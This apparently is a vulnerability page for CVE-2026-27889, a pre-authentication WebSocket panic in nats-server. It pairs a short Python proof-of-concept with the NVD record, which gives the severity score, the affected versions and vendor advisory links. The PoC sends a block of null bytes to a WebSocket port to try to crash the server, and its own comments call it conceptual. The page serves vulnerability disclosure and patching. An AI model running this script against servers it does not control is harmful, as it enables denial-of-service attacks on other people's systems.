CVE-2026-27889

import asyncio import websockets # PoC for CVE-2026-27889: NATS-Server WebSocket Panic # This script attempts to send a malformed frame to trigger the server panic. async def send_malformed_frame(uri): try: # Connect to the NATS WebSocket port async with websockets.connect(uri) as websocket: print(f"Connected to {uri}") # Sending a potentially malformed or oversized payload # Note: The specific frame structure causing the panic depends on the missing sanity check. # This is a conceptual representation. malicious_payload = "\x00" * 10000 # Example payload that might trigger overflow/panic await websocket.send(malicious_payload) print("Malformed frame sent.") response = await websocket.recv() print(f"Received: {response}") except Exception as e: print(f"Exception occurred (Server likely crashed): {e}") if __name__ == "__main__": target_uri = "ws://localhost:8080" # Replace with actual target asyncio.get_event_loop().run_until_complete(send_malformed_frame(target_uri))

{"cve": {"id": "CVE-2026-27889", "sourceIdentifier": "[email protected]", "published": "2026-03-25T20:16:27.210", "lastModified": "2026-03-26T17:13:16.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. Versions 2.11.14 and 2.12.5 contains a fix. A workaround is available. The vulnerability only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If one is able to do so, a defense in depth of restricting either of these will mitigate the attack."}, {"lang": "es", "value": "NATS-Server es un servidor de alto rendimiento para NATS.io, un sistema de mensajería nativo de la nube y del borde. A partir de la versión 2.2.0 y antes de las versiones 2.11.14 y 2.12.5, una comprobación de cordura faltante en un marco de WebSockets podría desencadenar un pánico del servidor en el nats-server. Esto ocurre antes de la autenticación, y por lo tanto está expuesto a cualquiera que pueda conectarse al puerto de websockets. Las versiones 2.11.14 y 2.12.5 contienen una corrección. Una solución alternativa está disponible. La vulnerabilidad solo afecta a las implementaciones que usan WebSockets y que exponen el puerto de red a puntos finales no confiables. Si uno es capaz de hacerlo, una defensa en profundidad de restringir cualquiera de estos mitigará el ataque."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.2.0", "versionEndExcluding": "2.11.14", "matchCriteriaId": "6681EAC6-5A1D-4F3A-926C-F7BEB21791AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.12.0", "versionEndExcluding": "2.12.5", "matchCriteriaId": "B141DA72-3502-4746-A246-EE1087C993F4"}]}]}], "references": [{"url": "https://advisories.nats.io/CVE/secnote-2026-03.txt", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/nats-io/nats-server/security/advisories/GHSA-pq2q-rcw4-3hr6", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}